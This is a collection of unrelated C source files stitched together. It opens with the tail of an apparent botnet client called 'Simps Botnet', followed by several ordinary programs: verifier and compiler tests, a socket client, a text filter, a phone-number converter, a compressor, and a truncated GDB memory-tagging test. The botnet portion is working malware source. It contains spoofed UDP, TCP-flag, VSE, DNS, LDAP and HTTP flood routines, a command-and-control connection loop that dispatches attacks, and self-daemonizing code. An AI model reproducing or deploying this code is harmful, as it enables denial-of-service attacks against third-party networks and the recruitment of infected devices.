"\xf1", "\xf2", "\xf3", "\xf4", "\xf5", "\xf6", "\xf7",
"\xf8", "\xf9", "\xfa", "\xfb", "\xfc", "\xfd", "\xfe", "\xff");
for (i = 0; i < power; i++)
{
sprintf(request, "PGET \0\0\0\0\0\0%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", pgetData, host, useragents);
if (fork())
{
while (end > time(NULL))
{
socket = socket_connect(host, port);
if (socket != 0)
{
write(socket, request, strlen(request));
read(socket, buffer, 1);
close(socket);
}
}
exit(0);
}
}
}
void makevsepacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
{
char *vse_payload;
int vse_payload_len;
int vserand;
srand(time(NULL));
vserand = rand() % 60;
if (vserand < 20)
{
vse_payload = "/58/x49/x4a/x20/x51/x22/x29/x29/x51/x50/x57/x4b/x4f/x4d/x20/x54/x45/x4d/x4b/x22/x20/x6c/x78/x50/x51/x7b/x58/x4c/x20/x22/x28/x4b/x69/x6a/x6e/x6a/x4e/x4b/x20/x58/x4e/x43/x4b/x46/x45/x3a/x4c/x3a/x20/x22/x22/x33/x35/x34/x35/x20/x32/x73/x6d/x6b/x6c/x78/x43/x20/x4b/x4d/x4c/x44", &vse_payload_len;
}
else if (20 < vserand < 40)
{
vse_payload = "/46/x55/x5a/xc2/xa3/x20/x44/xc2/xa3/x53/x54/x20/x53/x30/x22/xc2/xa3/x43/x45/x20/x22/x29/x21/x28/x32/x30/x39/x31/x20/x53/x49/x58/x20/x33/xc2/xa3/x43/x53/x54/x20/x46/x4c/x4f/x22/x53/x44/x20/x22/x29/x21/x28/x20/x43/x49/x57/x4a/x4f/x20/x59/x48/x53/x20/x48/x20/x78/x4b/x4d/x4f", &vse_payload_len;
}
else if (40 < vserand < 60)
{
vse_payload = "/x4f/x4b/x58/x50/x7b/x20/x5f/x57/x44/x44/x57/x44/6ax/x4a/x4b/x4d/x44/x20/x44/x57/x29/x5f/x20/x44/x57/x20/x53/x4c/x52/x4f/x4d/x20/x43/x50/x4c/x3a/x50/", &vse_payload_len;
}
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + packetSize + vse_payload_len;
iph->id = rand_cmwc();
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = protocol;
iph->check = 0;
iph->saddr = source;
iph->daddr = dest;
}
void vseattack(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
{
char *vse_payload;
int vse_payload_len;
int vserand;
srand(time(NULL));
vserand = rand() % 60;
if (vserand < 20)
{
vse_payload = "/58/x49/x4a/x20/x51/x22/x29/x29/x51/x50/x57/x4b/x4f/x4d/x20/x54/x45/x4d/x4b/x22/x20/x6c/x78/x50/x51/x7b/x58/x4c/x20/x22/x28/x4b/x69/x6a/x6e/x6a/x4e/x4b/x20/x58/x4e/x43/x4b/x46/x45/x3a/x4c/x3a/x20/x22/x22/x33/x35/x34/x35/x20/x32/x73/x6d/x6b/x6c/x78/x43/x20/x4b/x4d/x4c/x44", &vse_payload_len;
}
else if (20 < vserand < 40)
{
vse_payload = "/46/x55/x5a/xc2/xa3/x20/x44/xc2/xa3/x53/x54/x20/x53/x30/x22/xc2/xa3/x43/x45/x20/x22/x29/x21/x28/x32/x30/x39/x31/x20/x53/x49/x58/x20/x33/xc2/xa3/x43/x53/x54/x20/x46/x4c/x4f/x22/x53/x44/x20/x22/x29/x21/x28/x20/x43/x49/x57/x4a/x4f/x20/x59/x48/x53/x20/x48/x20/x78/x4b/x4d/x4f/", &vse_payload_len;
}
else if (40 < vserand < 60)
{
vse_payload = "/x4f/x4b/x58/x50/x7b/x20/x5f/x57/x44/x44/x57/x44/6ax/x4a/x4b/x4d/x44/x20/x44/x57/x29/x5f/x20/x44/x57/x20/x53/x4c/x52/x4f/x4d/x20/x43/x50/x4c/x3a/x50/", &vse_payload_len;
}
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if (port == 0)
dest_addr.sin_port = rand_cmwc();
else
dest_addr.sin_port = htons(port);
if (getHost(target, &dest_addr.sin_addr))
return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
register unsigned int pollRegister;
pollRegister = pollinterval;
if (spoofit == 32)
{
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (!sockfd)
{
return;
}
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
if (buf == NULL)
return;
memset(buf, 0, packetsize + 1);
makeRandomStr(buf, packetsize);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
register unsigned int ii = 0;
while (1)
{
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (i == pollRegister)
{
if (port == 0)
dest_addr.sin_port = rand_cmwc();
if (time(NULL) > end)
break;
i = 0;
continue;
}
i++;
if (ii == sleepcheck)
{
usleep(sleeptime * 1000);
ii = 0;
continue;
}
ii++;
}
}
else
{
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (!sockfd)
{
return;
}
int tmp = 1;
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof(tmp)) < 0)
{
return;
}
int counter = 50;
while (counter--)
{
srand(time(NULL) ^ rand_cmwc());
}
in_addr_t netmask;
if (spoofit == 0)
netmask = (~((in_addr_t)-1));
else
netmask = (~((1 << (32 - spoofit)) - 1));
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
makevsepacket(iph, dest_addr.sin_addr.s_addr, htonl(getRandomIP(netmask)), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
udph->len = htons(sizeof(struct udphdr) + packetsize + vse_payload_len);
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
udph->check = 0;
udph->check = (iph, udph, udph->len, sizeof(struct udphdr) + sizeof(uint32_t) + vse_payload_len);
makeRandomStr((unsigned char *)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
iph->check = csum((unsigned short *)packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
register unsigned int ii = 0;
while (1)
{
sendto(sockfd, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(uint32_t) + vse_payload_len, sizeof(packet), (struct sockaddr *)&dest_addr, sizeof(dest_addr));
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
iph->id = rand_cmwc();
iph->saddr = htonl(getRandomIP(netmask));
iph->check = csum((unsigned short *)packet, iph->tot_len);
if (i == pollRegister)
{
if (time(NULL) > end)
break;
i = 0;
continue;
}
i++;
if (ii == sleepcheck)
{
usleep(sleeptime * 1000);
ii = 0;
continue;
}
ii++;
}
}
}
void cncinput(int argc, unsigned char *argv[])
{
if (strcasestr(argv[0], "UDP"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
int packetsize = 250;
int pollinterval = 10;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
audp(hi, port, time, spoofed, packetsize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
audp(ip, port, time, spoofed, packetsize, pollinterval);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "SYN"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
unsigned char *flags = "syn";
int pollinterval = 10;
int psize = 250;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
atcp(hi, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
atcp(ip, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "RST"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
unsigned char *flags = "rst";
int pollinterval = 10;
int psize = 250;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
atcp(hi, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
atcp(ip, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "FIN"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
unsigned char *flags = "fin";
int pollinterval = 10;
int psize = 250;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
atcp(hi, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
atcp(ip, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "ACK"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
unsigned char *flags = "ack";
int pollinterval = 10;
int psize = 250;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
atcp(hi, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
atcp(ip, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "PSH"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
unsigned char *flags = "psh";
int pollinterval = 10;
int psize = 250;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
atcp(hi, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
atcp(ip, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "TCPALL"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
unsigned char *flags = "all";
int pollinterval = 10;
int psize = 250;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
atcp(hi, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
atcp(ip, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "STD"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
std(hi, port, time);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (listFork())
{
return;
}
std(ip, port, time);
_exit(0);
}
}
if (strcasestr(argv[0], "OVH"))
{
if (listFork())
return;
ovhl7(argv[1], atoi(argv[2]), atoi(argv[3]));
_exit(0);
}
if (strcasestr(argv[0], "VSE"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
int packetsize = 250;
int pollinterval = 1000;
int sleepcheck = 100000;
int sleeptime = 0;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
vseattack(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
vseattack(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
_exit(0);
}
}
}
if (strcasestr(argv[0], "DNS"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
int packetsize = 250;
int pollinterval = 10;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
adns(hi, port, time);
audp(hi, port, time, spoofed, packetsize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
adns(ip, port, time);
audp(ip, port, time, spoofed, packetsize, pollinterval);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "LDAP"))
{
if (argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = 32;
int packetsize = 250;
int pollinterval = 10;
unsigned char *flags = "all";
int psize = 250;
int sleepcheck = 1000;
int sleeptime = 0;
if (strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while (hi != NULL)
{
if (!listFork())
{
adns(hi, port, time);
audp(hi, port, time, spoofed, packetsize, pollinterval);
atcp(hi, port, time, spoofed, flags, psize, pollinterval);
vseattack(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
_exit(0);
}
hi = strtok(NULL, ",");
}
}
else
{
if (!listFork())
{
adns(ip, port, time);
audp(ip, port, time, spoofed, packetsize, pollinterval);
atcp(ip, port, time, spoofed, flags, psize, pollinterval);
vseattack(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
_exit(0);
}
}
return;
}
if (strcasestr(argv[0], "STOPALL"))
{
int killed = 0;
unsigned long i;
for (i = 0; i < numpids; i++)
{
if (pids[i] != 0 && pids[i] != getpid())
{
kill(pids[i], 9);
killed++;
}
}
if (killed > 0)
{
}
else
{
}
}
}
int initConnection()
{
unsigned char server[512];
memset(server, 0, 512);
if (Simpsicsock)
{
close(Simpsicsock);
Simpsicsock = 0;
}
if (currentServer + 1 == SERVER_LIST_SIZE)
currentServer = 0;
else
currentServer++;
strcpy(server, Simpsserv[currentServer]);
int port = 6982;
if (strchr(server, ':') != NULL)
{
port = atoi(strchr(server, ':') + 1);
*((unsigned char *)(strchr(server, ':'))) = 0x0;
}
Simpsicsock = socket(AF_INET, SOCK_STREAM, 0);
if (!connectTimeout(Simpsicsock, server, port, 30))
return 1;
return 0;
}
int main(int argc, unsigned char *argv[])
{
if (argv[1] == NULL)
{
char enc_unk[] = {"unknown"};
strcpy(bot.id, enc_unk);
}
else
{
strcpy(bot.id, argv[1]);
}
if (strstr(bot.id, "x86_64") || strstr(bot.id, "i586") || strstr(bot.id, "mips") || strstr(bot.id, "mipsel") || strstr(bot.id, "armv4l") || strstr(bot.id, "armv5l") || strstr(bot.id, "armv6l") || strstr(bot.id, "armv7l") || strstr(bot.id, "powerpc") || strstr(bot.id, "sparc") || strstr(bot.id, "m68k") || strstr(bot.id, "i686") || strstr(bot.id, "sh4") || strstr(bot.id, "hnap") || strstr(bot.id, "realtek") || strstr(bot.id, "huawei") || strstr(bot.id, "11") || strstr(bot.id, "archARM") || strstr(bot.id, "xDLS") || strstr(bot.id, "yarn") || strstr(bot.id, "ThinkPHP"))
{
strcpy(bot.id, argv[1]);
}
else
{
char enc_unk[] = {"unknown"};
strcpy(bot.id, enc_unk);
}
puts("Infected By Simps Botnet ;)");
FILE *LogFile;
LogFile = fopen("Infected.log", "a");
fprintf(LogFile, "Thank You For Your Services.\r\nThis Device Has successfully Been Infected\r\nWith Malware By Simps Botnet ;)\r\n| instagram: @ur0a_ | Discord: UR0A#2199\r\n");
fclose(LogFile);
if (SERVER_LIST_SIZE <= 0)
return 0;
srand(time(NULL) ^ getpid());
init_rand(time(NULL) ^ getpid());
getOurIP();
pid_t pid1;
pid_t pid2;
int status;
if (pid1 = fork())
{
waitpid(pid1, &status, 0);
exit(0);
}
else if (!pid1)
{
if (pid2 = fork())
{
exit(0);
}
else if (!pid2)
{
}
else
{
}
}
else
{
}
setsid();
chdir("/");
signal(SIGPIPE, SIG_IGN);
while (1)
{
if (initConnection())
{
sleep(5);
continue;
}
sockprintf(Simpsicsock, "%s", bot.id);
char commBuf[4096];
int got = 0;
int i = 0;
while ((got = recvLine(Simpsicsock, commBuf, 4096)) != -1)
{
for (i = 0; i < numpids; i++)
if (waitpid(pids[i], NULL, WNOHANG) > 0)
{
unsigned int *newpids, on;
for (on = i + 1; on < numpids; on++)
pids[on - 1] = pids[on];
pids[on - 1] = 0;
numpids--;
newpids = (unsigned int *)malloc((numpids + 1) * sizeof(unsigned int));
for (on = 0; on < numpids; on++)
newpids[on] = pids[on];
free(pids);
pids = newpids;
}
commBuf[got] = 0x00;
trim(commBuf);
unsigned char *message = commBuf;
if (*message == '.')
{
unsigned char *nickMask = message + 1;
while (*nickMask != ' ' && *nickMask != 0x00)
nickMask++;
if (*nickMask == 0x00)
continue;
*(nickMask) = 0x00;
nickMask = message + 1;
message = message + strlen(nickMask) + 2;
while (message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r')
message[strlen(message) - 1] = 0x00;
unsigned char *command = message;
while (*message != ' ' && *message != 0x00)
message++;
*message = 0x00;
message++;
unsigned char *tmpcommand = command;
while (*tmpcommand)
{
*tmpcommand = toupper(*tmpcommand);
tmpcommand++;
}
unsigned char *params[10];
int paramsCount = 1;
unsigned char *pch = strtok(message, " ");
params[0] = command;
while (pch)
{
if (*pch != '\n')
{
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
memset(params[paramsCount], 0, strlen(pch) + 1);
strcpy(params[paramsCount], pch);
paramsCount++;
}
pch = strtok(NULL, " ");
}
cncinput(paramsCount, params);
if (paramsCount > 1)
{
int q = 1;
for (q = 1; q < paramsCount; q++)
{
free(params[q]);
}
}
}
}
}
return 0;
}
|
the_stack_data/75136844.c | extern int __VERIFIER_nondet_int(void);
int test_fun(int x, int y, int z)
{
int c = 0;
while (x < y) {
if (x < z) {
x = x + 1;
} else {
z = z + 1;
}
c = c + 1;
}
return c;
}
int main() {
return test_fun(__VERIFIER_nondet_int(), __VERIFIER_nondet_int(), __VERIFIER_nondet_int());
}
|
the_stack_data/33845.c | /* PR tree-optimization/79408 */
/* { dg-do compile } */
/* { dg-options "-O2 -fdump-tree-optimized" } */
void link_error (void);
void
foo (unsigned int x, unsigned int y)
{
if (x > 7312)
return;
if (y <= 7312)
return;
if (x % y != x)
link_error ();
}
void
bar (int x, int y)
{
if (x > 7312 || x < 0)
return;
if (y <= 7312)
return;
if (x % y != x)
link_error ();
}
void
baz (int x, int y)
{
if (x > 7312 || x < -7312)
return;
if (y <= 7312)
return;
if (x % y != x)
link_error ();
}
/* { dg-final { scan-tree-dump-times "link_error" 0 "optimized"} } */
|
the_stack_data/2088.c | #include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define PORT 8888
#define SIZE 1000
int main(void) {
int client_socket = socket(AF_INET, SOCK_STREAM, 0);
if (client_socket == -1) {
perror("socket");
return -1;
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
inet_aton("localhost", &(addr.sin_addr));
int addrlen = sizeof(addr);
int listen_socket = connect(client_socket, (struct sockaddr *)&addr, addrlen);
if (listen_socket == -1) {
perror("connect");
return -1;
}
printf("成功连接服务器\n");
char buf[SIZE];
memset(buf,'\0', SIZE);
read(client_socket, buf, SIZE-1);
printf("%s\n",buf);
fgets(buf, SIZE, stdin);
buf[strlen(buf)-1]='\0';
write(client_socket, buf, strlen(buf));
memset(buf,'\0', SIZE);
read(client_socket, buf, SIZE-1);
printf("%s\n",buf);
fgets(buf, SIZE, stdin);
buf[strlen(buf)-1]='\0';
write(client_socket, buf, strlen(buf));
memset(buf,'\0', SIZE);
read(client_socket, buf, SIZE-1);
printf("%s\n",buf);
return 0;
}
|
the_stack_data/637424.c | static char *version = "@(!--#) @(#) linesbefore.c, version 001, 28 July 2018";
/*
* linesbefore.c
*
* simple filter that prints all lines before one that matches a string
*
*/
/********************************************************************/
/*
* includes
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/********************************************************************/
/*
* defines
*/
#ifndef TRUE
#define TRUE 1
#endif
#ifndef FALSE
#define FALSE 0
#endif
#define MAX_LINE_LENGTH 8191
/********************************************************************/
/*
* rtrim
*
* trim whitespace fron right hand side of a string
*
*/
void rtrim(s)
char *s;
{
int lenstring;
int c;
lenstring = strlen(s);
while (lenstring > 0) {
lenstring--;
c = s[lenstring];
if ((c == ' ') || (c == '\t') || (c == '\n') || (c == '\r')) {
s[lenstring] = '\0';
} else {
break;
}
}
return;
}
/********************************************************************/
/*
* main
*/
int main(argc, argv)
int argc;
char *argv[];
{
char *progname;
char *pattern;
char line[MAX_LINE_LENGTH + sizeof(char)];
progname = argv[0];
if (argc < 2) {
fprintf(stderr, "%s: must specify pattern", progname);
exit(2);
}
pattern = argv[1];
while (fgets(line, MAX_LINE_LENGTH, stdin) != NULL) {
rtrim(line);
if (strstr(line, pattern) != NULL) {
break;
}
printf("%s\n", line);
}
exit(0);
}
/* end of file */
|
the_stack_data/95451327.c | /* Write a program that translates an alphabetic phone number into numeric form:
Enter phone number: CALLATT (input)
2255288
In case you don't have a telephone nearby, here are the letters on the keys:
2=ABC, 3=DEF,
4=GHI, 5=JKL, 6=MNO,
7=PRS, 8=TUV, 9=WXY.
If the original phone number contains nonalphabetic characters (digits or punctuation, for example), leave them unchanged:
Enter phone number: 1-800-COL-LECT (input)
1-800-265-5328
You may assume that any letters entered by the user are upper-case.
*/
#include <ctype.h>
#include <stdio.h>
int main() {
char ch;
printf("Enter phone number: ");
do {
ch = getchar();
ch = toupper(ch);
//// This is standard.
// switch (ch) {
// case 'A':
// case 'B':
// case 'C':
// printf("2");
// break;
// (skip)
// }
//// This is GCC extension, non-standard.
// switch (ch) {
// case 'A' ... 'C':
// printf("2");
// break;
// (skip)
// }
//! And...
//! THIS IS SPARTA!!
if (ch >= 'A' && ch <= 'Y') {
// ('A' or 'B' or 'C') - 'A' => (0 or 1 or 2) / 3 => 0 => print 2
// ('D' or 'E' or 'F') - 'A' => (3 or 4 or 5) / 3 => 1 => print 3
// (skip)
printf("%c", (((ch - 'A') / 3) + 2) + '0');
} else {
printf("%c", ch);
}
} while (ch != '\n');
return 0;
}
// Enter phone number: 1-800-COL-LECT
// 1-800-265-5328
|
the_stack_data/247018421.c | #include <stdio.h>
/**
*main - has two arguments
*@argc: Number of aguments
*@argv: Array with the argument's names
*Return: Always 0
*/
int main(int argc, char *argv[])
{
(void)argc;
printf("%s\n", *argv);
return (0);
}
|
the_stack_data/31516.c | /* vim: set ai et ts=4 sw=4: */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdbool.h>
/*
Encoding:
0xxxxxxx - X+1 0x00 bytes
10yyyyyy yyyyyyyy - Y+129 0x00 bytes
11zzzzzz - Z+1 regular bytes following this one
*/
#define MAX_ZEROS (((1 << (6+8)) - 1) + 129)
int main(int argc, char** argv) {
if(argc < 3) {
printf("Usage: %s <infile> <outfile>\n", argv[0]);
exit(1);
}
int in = open(argv[1], O_RDONLY);
if(in == -1) {
printf("Failed to open %s: errno = %d\n", argv[1], errno);
exit(1);
}
int out = open(argv[2], O_WRONLY | O_CREAT | O_TRUNC, 0660);
if(out == -1) {
printf("Failed to open %s: errno = %d\n", argv[2], errno);
close(in);
exit(1);
}
uint8_t regular_buff[64];
uint8_t regular_cnt = 0;
uint16_t zeros_cnt = 0;
uint8_t curr_byte;
for(;;) {
ssize_t rd = read(in, &curr_byte, 1);
if(rd != 1) // end of file, probably
break;
bool encode_zero = (curr_byte == 0x00);
if(encode_zero && (zeros_cnt == 0)) { // don't encode single 0x00 byte
uint8_t next_byte;
rd = read(in, &next_byte, 1);
encode_zero = (rd == 1) && (next_byte == 0x00);
if(rd == 1) { // end of file was not reached yet
lseek(in, (off_t)(-1), SEEK_CUR);
}
}
if(encode_zero) {
if((zeros_cnt > 0) && (zeros_cnt < MAX_ZEROS)) { // encoding zeros
zeros_cnt++;
} else if(zeros_cnt == MAX_ZEROS) { // encoding zeros, but no more bits left
zeros_cnt -= 129;
uint8_t temp = ((uint8_t)(zeros_cnt >> 8)) | 0x80; // 10yyyyyy part
write(out, &temp, 1);
temp = zeros_cnt & 0xFF; // yyyyyyyy part
write(out, &temp, 1);
zeros_cnt = 1;
} else { // we were encoding regular bytes, this is the first zero
if(regular_cnt) {
regular_cnt--;
regular_cnt |= 0xC0; // 11000000
write(out, ®ular_cnt, 1);
regular_cnt &= 0x3F; // 00111111
write(out, regular_buff, regular_cnt + 1);
regular_cnt = 0;
}
zeros_cnt = 1;
}
} else {
// were we encoding zeros?
if(zeros_cnt > 0) {
if(zeros_cnt <= 128) {
zeros_cnt--;
write(out, &zeros_cnt, 1); // 0xxxxxxx code
zeros_cnt = 0;
} else {
zeros_cnt -= 129;
uint8_t temp = ((uint8_t)(zeros_cnt >> 8)) | 0x80; // 10yyyyyy part
write(out, &temp, 1);
temp = zeros_cnt & 0xFF; // yyyyyyyy part
write(out, &temp, 1);
zeros_cnt = 0;
}
}
// check if buffer is full
if(regular_cnt == 64) {
regular_cnt--;
regular_cnt |= 0xC0; // 11000000
write(out, ®ular_cnt, 1);
write(out, regular_buff, 64);
regular_cnt = 0;
}
regular_buff[regular_cnt] = curr_byte;
regular_cnt++;
}
}
if(regular_cnt) {
regular_cnt--;
regular_cnt |= 0xC0; // 11000000
write(out, ®ular_cnt, 1);
regular_cnt &= 0x3F; // 00111111
write(out, regular_buff, regular_cnt + 1);
} else if(zeros_cnt) {
if(zeros_cnt <= 128) {
zeros_cnt--;
write(out, &zeros_cnt, 1); // 0xxxxxxx code
} else {
zeros_cnt -= 129;
uint8_t temp = ((uint8_t)(zeros_cnt >> 8)) | 0x80; // 10yyyyyy part
write(out, &temp, 1);
temp = zeros_cnt & 0xFF; // yyyyyyyy part
write(out, &temp, 1);
}
}
close(in);
close(out);
}
|
the_stack_data/16250.c | /* This test program is part of GDB, the GNU debugger.
Copyright 2021 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
/* Exercise AArch64's Memory Tagging Extension with tagged pointers. */
/* This test was based on the documentation for the AArch64 Memory Tagging
Extension from the Linux Kernel, found in the sources in
Documentation/arm64/memory-tagging-extension.rst. */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/auxv.h>
#include <sys/mman.h>
#include <sys/prctl.h>
/* From arch/arm64/include/uapi/asm/hwcap.h */
#define HWCAP2_MTE (1 << 18)
/* From arch/arm64/include/uapi/asm/mman.h */
#define PROT_MTE 0x20
/* From include/uapi/linux/prctl.h */
#define PR_SET_TAGGED_ADDR_CTRL 55
#define PR_GET_TAGGED_ADDR_CTRL 56
#define PR_TAGGED_ADDR_ENABLE (1UL << 0)
#define PR_MTE_TCF_SHIFT 1
#define PR_MTE_TCF_NONE (0UL << PR_MTE_TCF_SHIFT)
#define PR_MTE_TCF_SYNC (1UL << PR_MTE_TCF_SHIFT)
#define PR_MTE_TCF_ASYNC (2UL << PR_MTE_TCF_SHIFT)
#define PR_MTE_TCF_MASK (3UL << PR_MTE_TCF_SHIFT)
#define PR_MTE_TAG_SHIFT 3
#define PR_MTE_TAG_MASK (0xffffUL << PR_MTE_TAG_SHIFT)
void
access_memory (unsigned char *tagged_ptr, unsigned char *untagged_ptr)
{
tagged_ptr[0] = 'a';
}
int
main (int argc, char **argv)
{
unsigned char *tagged_ptr;
unsigned char *untagged_ptr;
unsigned long page_sz = sysconf (_SC_PAGESIZE);
unsigned long hwcap2 = getauxval(AT_HWCAP2);
/* Bail out if MTE is not supported. */
if (!(hwcap2 & HWCAP2_MTE))
return 1;
/* Enable the tagged address ABI, synchronous MTE tag check faults and
allow all non-zero tags in the randomly generated set. */
if (prctl (PR_SET_TAGGED_ADDR_CTRL,
PR_TAGGED_ADDR_ENABLE | PR_MTE_TCF_SYNC
| (0xfffe << PR_MTE_TAG_SHIFT),
0, 0, 0))
{
